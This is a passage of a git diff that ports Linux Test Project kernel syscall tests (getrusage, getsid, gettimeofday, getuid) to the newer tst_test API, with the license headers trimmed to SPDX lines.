-	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
-	if (WEXITSTATUS(status) != 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "child exit status is not 0");
-
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "post_wait.children = %ld", ru.ru_maxrss);
 	if (is_in_delta(ru.ru_maxrss - 307200))
-		tst_resm(TPASS, "child.children ~= 300MB");
+		tst_res(TPASS, "child.children ~= 300MB");
 	else
-		tst_resm(TFAIL, "child.children !~= 300MB");
+		tst_res(TFAIL, "child.children = %li, expected %i",
+			ru.ru_maxrss, 307200);
 }
 
-/* Testcase #05: zombie
- * expect: initial ~= pre_wait, post_wait ~= 400MB */
 static void zombie(void)
 {
-	tst_resm(TINFO, "Testcase #05: zombie");
-
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "initial.children = %ld", ru.ru_maxrss);
+	SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
 	maxrss_init = ru.ru_maxrss;
 
-	switch (pid = fork()) {
-	case -1:
-		tst_brkm(TBROK, cleanup, "fork #5");
-	case 0:
-		retval = system("getrusage03_child -n 400");
-		if ((WIFEXITED(retval) && WEXITSTATUS(retval) != 0))
-			tst_brkm(TBROK | TERRNO, cleanup, "system");
-		exit(0);
-	default:
-		break;
-	}
+	pid_t pid = SAFE_FORK();
 
-	sleep(1);		/* children become zombie */
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "pre_wait.children = %ld", ru.ru_maxrss);
+	if (!pid)
+		SAFE_EXECLP("getrusage03_child", "getrusage03_child",
+			    "consume", "400", NULL);
+
+	TST_PROCESS_STATE_WAIT(pid, 'Z', 0);
+	SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
 	if (is_in_delta(ru.ru_maxrss - maxrss_init))
-		tst_resm(TPASS, "initial.children ~= pre_wait.children");
+		tst_res(TPASS, "initial.children ~= pre_wait.children");
 	else
-		tst_resm(TFAIL, "initial.children !~= pre_wait.children");
+		tst_res(TFAIL, "pre_wait.children = %li, expected %li",
+			ru.ru_maxrss, maxrss_init);
 
-	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
-	if (WEXITSTATUS(status) != 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "child exit status is not 0");
-
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "post_wait.children = %ld", ru.ru_maxrss);
+	tst_reap_children();
+	SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
 	if (is_in_delta(ru.ru_maxrss - 409600))
-		tst_resm(TPASS, "post_wait.children ~= 400MB");
+		tst_res(TPASS, "post_wait.children ~= 400MB");
 	else
-		tst_resm(TFAIL, "post_wait.children !~= 400MB");
+		tst_res(TFAIL, "post_wait.children = %li, expected %i",
+			ru.ru_maxrss, 409600);
 }
 
-/* Testcase #06: SIG_IGN
- * expect: initial ~= after_zombie */
 static void sig_ign(void)
 {
-	tst_resm(TINFO, "Testcase #06: SIG_IGN");
-
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "initial.children = %ld", ru.ru_maxrss);
-	signal(SIGCHLD, SIG_IGN);
+	SAFE_SIGNAL(SIGCHLD, SIG_IGN);
+	SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
 	maxrss_init = ru.ru_maxrss;
 
-	switch (pid = fork()) {
-	case -1:
-		tst_brkm(TBROK, cleanup, "fork #6");
-	case 0:
-		retval = system("getrusage03_child -n 500");
-		if ((WIFEXITED(retval) && WEXITSTATUS(retval) != 0))
-			tst_brkm(TBROK | TERRNO, cleanup, "system");
-		exit(0);
-	default:
-		break;
-	}
+	pid_t pid = SAFE_FORK();
 
-	sleep(1);		/* children become zombie */
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	tst_resm(TINFO, "after_zombie.children = %ld", ru.ru_maxrss);
+	if (!pid)
+		SAFE_EXECLP("getrusage03_child", "getrusage03_child",
+			    "consume", "500", NULL);
+
+	TST_PROCESS_EXIT_WAIT(pid, 0);
+	SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
 	if (is_in_delta(ru.ru_maxrss - maxrss_init))
-		tst_resm(TPASS, "initial.children ~= after_zombie.children");
+		tst_res(TPASS, "initial.children ~= after_zombie.children");
 	else
-		tst_resm(TFAIL, "initial.children !~= after_zombie.children");
-	signal(SIGCHLD, SIG_DFL);
+		tst_res(TFAIL, "after_zombie.children = %li, expected %li",
+			ru.ru_maxrss, maxrss_init);
+
+	SAFE_SIGNAL(SIGCHLD, SIG_DFL);
 }
 
-/* Testcase #07: exec without fork
- * expect: initial ~= fork */
-static void exec_without_fork(void)
+static void inherit_exec(void)
 {
-	char str_maxrss_self[BUFSIZ], str_maxrss_child[BUFSIZ];
-	long maxrss_self, maxrss_child;
+	if (!SAFE_FORK()) {
+		char str_maxrss_self[BUFSIZ], str_maxrss_child[BUFSIZ];
 
-	tst_resm(TINFO, "Testcase #07: exec without fork");
+		SAFE_GETRUSAGE(RUSAGE_SELF, &ru);
+		sprintf(str_maxrss_self, "%ld", ru.ru_maxrss);
+		SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
+		sprintf(str_maxrss_child, "%ld", ru.ru_maxrss);
 
-	SAFE_GETRUSAGE(cleanup, RUSAGE_SELF, &ru);
-	maxrss_self = ru.ru_maxrss;
-	SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-	maxrss_child = ru.ru_maxrss;
-	tst_resm(TINFO, "initial.self = %ld, initial.children = %ld",
-		 maxrss_self, maxrss_child);
-
-	sprintf(str_maxrss_self, "%ld", maxrss_self);
-	sprintf(str_maxrss_child, "%ld", maxrss_child);
-	if (execlp("getrusage03_child", "getrusage03_child", "-v",
-		   "-s", str_maxrss_self, "-l", str_maxrss_child, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "execlp");
+		SAFE_EXECLP("getrusage03_child", "getrusage03_child",
+			    "compare", str_maxrss_self, str_maxrss_child, NULL);
+	}
+	tst_reap_children();
 }
 
-static int is_in_delta(long value)
-{
-	return (value >= -DELTA_MAX && value <= DELTA_MAX);
-}
+void (*testfunc_list[])(void) = {
+	inherit_fork1, inherit_fork2, grandchild_maxrss,
+	zombie, sig_ign, inherit_exec
+};
 
-static void check_return(int status, char *pass_msg, char *fail_msg)
+static void run(unsigned int i)
 {
-	switch (status) {
-	case 1:
-		tst_resm(TPASS, "%s", pass_msg);
-		break;
-	case 0:
-		tst_resm(TFAIL, "%s", fail_msg);
-		break;
-	default:
-		tst_resm(TFAIL, "child exit status is %d", status);
-		break;
+	if (!SAFE_FORK()) {
+		if (!SAFE_FORK()) {
+			consume_mb(100);
+			exit(0);
+		}
+
+		SAFE_WAIT(NULL);
+
+		testfunc_list[i]();
 	}
 }
 
-static void consume(int mega)
-{
-	size_t sz;
-	void *ptr;
-
-	sz = mega * 1024 * 1024;
-	ptr = SAFE_MALLOC(cleanup, sz);
-	memset(ptr, 0, sz);
-}
-
-static void setup(void)
-{
-	/* Disable test if the version of the kernel is less than 2.6.32 */
-	if ((tst_kvercmp(2, 6, 32)) < 0) {
-		tst_resm(TCONF, "This ru_maxrss field is not supported");
-		tst_brkm(TCONF, NULL, "before kernel 2.6.32");
-	}
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.resource_files = resource,
+	.min_kver = "2.6.32",
+	.min_mem_avail = 512,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "1f10206cf8e9"},
+		{}
+	},
+	.test = run,
+	.tcnt = ARRAY_SIZE(testfunc_list),
+	.caps = (struct tst_cap []) {
+		TST_CAP(TST_CAP_REQ, CAP_IPC_LOCK),
+		{}
+	},
+};
diff --git a/testcases/kernel/syscalls/getrusage/getrusage03.h b/testcases/kernel/syscalls/getrusage/getrusage03.h
new file mode 100644
index 0000000..b28b9d4
--- /dev/null
+++ b/testcases/kernel/syscalls/getrusage/getrusage03.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0
+ * Copyright (C) 2011  Red Hat, Inc.
+ * Copyright (C) 2021 Xie Ziyao <xieziyao@huawei.com>
+ */
+
+#ifndef LTP_GETRUSAGE03_H
+#define LTP_GETRUSAGE03_H
+
+#include "tst_test.h"
+
+#define DELTA_MAX 20480
+
+static void consume_mb(int consume_nr)
+{
+	void *ptr;
+	size_t size;
+	unsigned long vmswap_size;
+
+	mlockall(MCL_CURRENT|MCL_FUTURE);
+
+	size = consume_nr * 1024 * 1024;
+	ptr = SAFE_MALLOC(size);
+	memset(ptr, 0, size);
+
+	SAFE_FILE_LINES_SCANF("/proc/self/status", "VmSwap: %lu", &vmswap_size);
+	if (vmswap_size > 0)
+		tst_brk(TBROK, "VmSwap is not zero");
+}
+
+static int is_in_delta(long value)
+{
+	return (value >= -DELTA_MAX && value <= DELTA_MAX);
+}
+
+#endif //LTP_GETRUSAGE03_H
diff --git a/testcases/kernel/syscalls/getrusage/getrusage03_child.c b/testcases/kernel/syscalls/getrusage/getrusage03_child.c
index 972c38e4..e825208 100644
--- a/testcases/kernel/syscalls/getrusage/getrusage03_child.c
+++ b/testcases/kernel/syscalls/getrusage/getrusage03_child.c
@@ -1,168 +1,68 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
- * getrusage03_child.c - a child program executed by getrusage03
- *
  * Copyright (C) 2011  Red Hat, Inc.
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
+ * Copyright (C) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
-#include <sys/types.h>
-#include <sys/resource.h>
-#include <sys/time.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <unistd.h>
-#include <stdio.h>
+
+/*\
+ * [Description]
+ *
+ * Child program executed by getrusage03.
+ */
+
+#define TST_NO_DEFAULT_MAIN
+
 #include <stdlib.h>
-#include <string.h>
-#include <limits.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "getrusage03_child";
-int TST_TOTAL = 1;
-
-#define DELTA_MAX	10240
-
-static int opt_consume, opt_grand, opt_show, opt_self, opt_child;
-static char *consume_str, *grand_consume_str, *self_str, *child_str;
-
-option_t child_options[] = {
-	{"n:", &opt_consume, &consume_str},
-	{"g:", &opt_grand, &grand_consume_str},
-	{"v", &opt_show, NULL},
-	{"s:", &opt_self, &self_str},
-	{"l:", &opt_child, &child_str},
-	{NULL, NULL, NULL}
-};
-
-static void usage(void);
-static void consume(int mega);
-static void setup(void);
-static void cleanup(void);
+#include "tst_test.h"
+#include "getrusage03.h"
 
 int main(int argc, char *argv[])
 {
-	int lc;
+	if (argc < 3)
+		tst_brk(TFAIL, "argc is %d, expected more than two", argc);
+
 	pid_t pid;
-	long maxrss_self, maxrss_children, delta;
-	long consume_nr, grand_consume_nr, self_nr, child_nr;
 	struct rusage ru;
+	long maxrss_self, maxrss_children;
+	long consume_nr, grand_consume_nr, self_nr, child_nr;
 
-	tst_parse_opts(argc, argv, child_options, usage);
+	tst_reinit();
 
-	setup();
+	if (!strcmp(argv[1], "consume")) {
+		consume_nr = SAFE_STRTOL(argv[2], 0, LONG_MAX);
+		consume_mb(consume_nr);
+	} else if (!strcmp(argv[1], "grand_consume")) {
+		grand_consume_nr = SAFE_STRTOL(argv[2], 0, LONG_MAX);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		if (opt_consume) {
-			consume_nr = SAFE_STRTOL(cleanup,
-						 consume_str, 0, LONG_MAX);
-			tst_resm(TINFO, "child allocate %ldMB", consume_nr);
-			consume(consume_nr);
+		pid = fork();
+		if (pid == -1)
+			tst_brk(TBROK, "fork failed");
+		else if (pid == 0) {
+			consume_mb(grand_consume_nr);
+			exit(0);
 		}
 
-		if (opt_grand) {
-			grand_consume_nr = SAFE_STRTOL(cleanup,
-						       grand_consume_str, 0,
-						       LONG_MAX);
-			tst_resm(TINFO, "grandchild allocate %ldMB",
-				 grand_consume_nr);
-			switch (pid = fork()) {
-			case -1:
-				tst_brkm(TBROK, cleanup, "fork");
-			case 0:
-				consume(grand_consume_nr);
-				exit(0);
-			default:
-				break;
-			}
-			while (waitpid(-1, &pid, WUNTRACED | WCONTINUED) > 0)
-				if (WEXITSTATUS(pid) != 0)
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "child exit status is not 0");
-		}
+		tst_reap_children();
+	} else if (!strcmp(argv[1], "compare")) {
+		self_nr = SAFE_STRTOL(argv[2], 0, LONG_MAX);
+		child_nr = SAFE_STRTOL(argv[3], 0, LONG_MAX);
 
-		if (opt_show) {
-			SAFE_GETRUSAGE(cleanup, RUSAGE_SELF, &ru);
-			maxrss_self = ru.ru_maxrss;
-			SAFE_GETRUSAGE(cleanup, RUSAGE_CHILDREN, &ru);
-			maxrss_children = ru.ru_maxrss;
-			tst_resm(TINFO, "exec.self = %ld, exec.children = %ld",
-				 maxrss_self, maxrss_children);
-			if (opt_self) {
-				self_nr = SAFE_STRTOL(cleanup,
-						      self_str, 0, LONG_MAX);
-				delta = maxrss_self - self_nr;
-				if (delta >= -DELTA_MAX && delta <= DELTA_MAX)
-					tst_resm(TPASS,
-						 "initial.self ~= exec.self");
-				else
-					tst_resm(TFAIL,
-						 "initial.self !~= exec.self");
-			}
-			if (opt_child) {
-				child_nr = SAFE_STRTOL(cleanup,
-						       child_str, 0, LONG_MAX);
-				delta = maxrss_children - child_nr;
-				if (delta >= -DELTA_MAX && delta <= DELTA_MAX)
-					tst_resm(TPASS,
-						 "initial.children ~= exec.children");
-				else
-					tst_resm(TFAIL,
-						 "initial.children !~= exec.children");
-			}
-		}
+		SAFE_GETRUSAGE(RUSAGE_SELF, &ru);
+		maxrss_self = ru.ru_maxrss;
+		SAFE_GETRUSAGE(RUSAGE_CHILDREN, &ru);
+		maxrss_children = ru.ru_maxrss;
+
+		if (is_in_delta(maxrss_self - self_nr))
+			tst_res(TPASS, "initial.self ~= exec.self");
+		else
+			tst_res(TFAIL, "initial.self !~= exec.self");
+
+		if (is_in_delta(maxrss_children - child_nr))
+			tst_res(TPASS, "initial.children ~= exec.children");
+		else
+			tst_res(TFAIL, "initial.children !~= exec.children");
 	}
 
-	cleanup();
-	tst_exit();
-}
-
-static void usage(void)
-{
-	printf("  -n NUM  consume NUM MB size\n");
-	printf("  -g NUM  grandchild consume NUM MB size\n");
-	printf("  -v      verbose mode, show rusage info\n");
-	printf("  -s NUM  compare rusage_self.maxrss with given NUM\n");
-	printf("  -l NUM  compare rusage_children.maxrss with given NUM\n");
-}
-
-static void consume(int mega)
-{
-	size_t sz;
-	void *ptr;
-
-	sz = mega * 1024 * 1024;
-	ptr = SAFE_MALLOC(cleanup, sz);
-	memset(ptr, 0, sz);
-}
-
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/getrusage/getrusage04.c b/testcases/kernel/syscalls/getrusage/getrusage04.c
index c91fd23..06b576d 100644
--- a/testcases/kernel/syscalls/getrusage/getrusage04.c
+++ b/testcases/kernel/syscalls/getrusage/getrusage04.c
@@ -197,7 +197,7 @@
 {
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
-	if (tst_is_virt(VIRT_XEN) || tst_is_virt(VIRT_KVM))
+	if (tst_is_virt(VIRT_XEN) || tst_is_virt(VIRT_KVM) || tst_is_virt(VIRT_HYPERV))
 		tst_brkm(TCONF, NULL, "This testcase is not supported on this"
 		        " virtual machine.");
 
diff --git a/testcases/kernel/syscalls/getsid/getsid01.c b/testcases/kernel/syscalls/getsid/getsid01.c
index 0857468..89f6a72 100644
--- a/testcases/kernel/syscalls/getsid/getsid01.c
+++ b/testcases/kernel/syscalls/getsid/getsid01.c
@@ -1,159 +1,50 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *		07/2001 Ported by Wayne Boyer
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	getsid01.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	getsid01 - call getsid() and make sure it succeeds
- *
- * ALGORITHM
- *	loop if that option was specified
- *	issue the system call
- *	check the return value
- *	if return value == -1
- *	  issue a FAIL message, break remaining tests and cleanup
- *	if we are doing functional testing
- *	  save the return value from the getsid() call - the session ID
- *	  fork a child and get the child's session ID
- *	  if the child's session ID == the parent's session ID
- *	    issue a PASS message
- *	  else
- *	    issue a FAIL message
- *	else issue a PASS message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  getsid01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * Verify that session IDs returned by getsid() (with argument pid=0)
+ * are same in parent and child process.
  */
-#define _GNU_SOURCE 1
 
-#include <errno.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include "test.h"
 
-void cleanup(void);
-void setup(void);
+#include "tst_test.h"
 
-char *TCID = "getsid01";
-int TST_TOTAL = 1;
+static pid_t p_sid;
 
-pid_t p_sid;
-
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
-	pid_t pid, c_pid, c_sid;
+	pid_t pid, c_sid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* call the system call with the TEST() macro */
-
-		TEST(getsid(0));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "call failed - errno = %d "
-				 "- %s", TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-
-		/* save the return value in a global variable */
-		p_sid = TEST_RETURN;
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "could not fork");
-		}
-
-		if (pid == 0) {	/* child */
-			if ((c_pid = getpid()) == -1) {
-				tst_resm(TINFO, "getpid failed in "
-					 "functionality test");
-				exit(1);
-			}
-
-			/*
-			 * if the session ID of the child is the
-			 * same as the parent then things look good
-			 */
-
-			if ((c_sid = getsid(0)) == -1) {
-				tst_resm(TINFO, "getsid failed in "
-					 "functionality test");
-				exit(2);
-			}
-
-			if (c_sid == p_sid) {
-				tst_resm(TPASS, "session ID is "
-					 "correct");
-			} else {
-				tst_resm(TFAIL, "session ID is "
-					 "not correct");
-			}
-			exit(0);
-
-		} else {
-			waitpid(pid, NULL, 0);
-		}
+	TEST(getsid(0));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "getsid(0) failed in parent");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	p_sid = TST_RET;
+
+	pid = SAFE_FORK();
+
+	if (pid == 0) {
+		TEST(getsid(0));
+		if (TST_RET == -1) {
+			tst_res(TFAIL | TTERRNO, "getsid(0) failed in child");
+			return;
+		}
+		c_sid = TST_RET;
+		TST_EXP_EQ_LI(p_sid, c_sid);
+	} else {
+		SAFE_WAITPID(pid, NULL, 0);
+	}
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1
+};
diff --git a/testcases/kernel/syscalls/getsid/getsid02.c b/testcases/kernel/syscalls/getsid/getsid02.c
index b5ab339..14b6347 100644
--- a/testcases/kernel/syscalls/getsid/getsid02.c
+++ b/testcases/kernel/syscalls/getsid/getsid02.c
@@ -1,81 +1,27 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
  *   Copyright (c) 2012 Cyril Hrubis <chrubis@suse.cz>
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-#define _GNU_SOURCE 1
+/*\
+ * [Description]
+ *
+ * Verify that getsid(2) fails with ESRCH errno when there is no
+ * process found with process ID pid.
+ */
 
-#include "test.h"
+#include "tst_test.h"
 
-#include <errno.h>
-
-char *TCID = "getsid02";
-int TST_TOTAL = 1;
-
-static pid_t unused_pid;
-
-static void cleanup(void);
-static void setup(void);
-
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
+	pid_t unused_pid;
+	unused_pid = tst_get_unused_pid();
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(getsid(unused_pid));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call succeed when failure expected");
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case ESRCH:
-			tst_resm(TPASS, "expected failure - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed to produce "
-				 "expected error - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_FAIL(getsid(unused_pid), ESRCH);
 }
 
-void setup(void)
-{
-	unused_pid = tst_get_unused_pid(cleanup);
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = run
+};
diff --git a/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c b/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c
index 08ea167..f9acb96 100644
--- a/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c
+++ b/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c
@@ -61,7 +61,7 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		tst_count = 0;
 
-		TEST(ltp_syscall(__NR_gettimeofday, (void *)-1, (void *)-1));
+		TEST(tst_syscall(__NR_gettimeofday, (void *)-1, (void *)-1));
 
 		/* gettimeofday returns an int, so we need to turn the long
 		 * TEST_RETURN into an int to test with */
diff --git a/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c b/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c
index c0e56ed..7c462cc 100644
--- a/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c
+++ b/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c
@@ -25,8 +25,6 @@
 #include "lapi/syscalls.h"
 
 static volatile sig_atomic_t done;
-static char *str_rtime;
-static int rtime = 10;
 
 static void breakout(int sig)
 {
@@ -37,6 +35,7 @@
 {
 	struct __kernel_old_timeval tv1, tv2;
 	unsigned long long cnt = 0;
+	int rtime = tst_remaining_runtime();
 
 	done = 0;
 
@@ -68,21 +67,11 @@
 
 static void setup(void)
 {
-	if (str_rtime) {
-		rtime = atoi(str_rtime);
-		if (rtime <= 0)
-			tst_brk(TBROK, "Invalid runtime '%s'", str_rtime);
-		tst_set_timeout(rtime + 60);
-	}
-
 	SAFE_SIGNAL(SIGALRM, breakout);
 }
 
 static struct tst_test test = {
 	.setup = setup,
-	.options = (struct tst_option[]) {
-		{"T:", &str_rtime, "-T len   Test iteration runtime in seconds"},
-		{},
-	},
+	.max_runtime = 10,
 	.test_all = verify_gettimeofday,
 };
diff --git a/testcases/kernel/syscalls/getuid/getuid01.c b/testcases/kernel/syscalls/getuid/getuid01.c
index cf8c774..206ca0c 100644
--- a/testcases/kernel/syscalls/getuid/getuid01.c
+++ b/testcases/kernel/syscalls/getuid/getuid01.c
@@ -1,84 +1,25 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ *    AUTHOR           : William Roske
+ *    CO-PILOT         : Dave Fenner
  */
-/*
- *    AUTHOR		: William Roske
- *    CO-PILOT		: Dave Fenner
+
+/*\
+ * [Description]
+ *
+ * Check the basic functionality of the getuid() system call.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
 
-#include "test.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-static void setup(void);
-static void cleanup(void);
-
-TCID_DEFINE(getuid01);
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_getuid(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(GETUID(cleanup));
-
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "getuid failed");
-		else
-			tst_resm(TPASS, "getuid returned %ld", TEST_RETURN);
-
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_POSITIVE(GETUID(), "getuid()");
 }
 
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = verify_getuid,
+};
diff --git a/testcases/kernel/syscalls/getuid/getuid03.c b/testcases/kernel/syscalls/getuid/getuid03.c
index 7c81c62..a5deebf 100644
--- a/testcases/kernel/syscalls/getuid/getuid03.c
+++ b/testcases/kernel/syscalls/getuid/getuid03.c
@@ -1,88 +1,39 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  *  Ported by Wayne Boyer
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * Testcase to check the basic functionality of the getuid() system call.
+/*\
+ * [Description]
  *
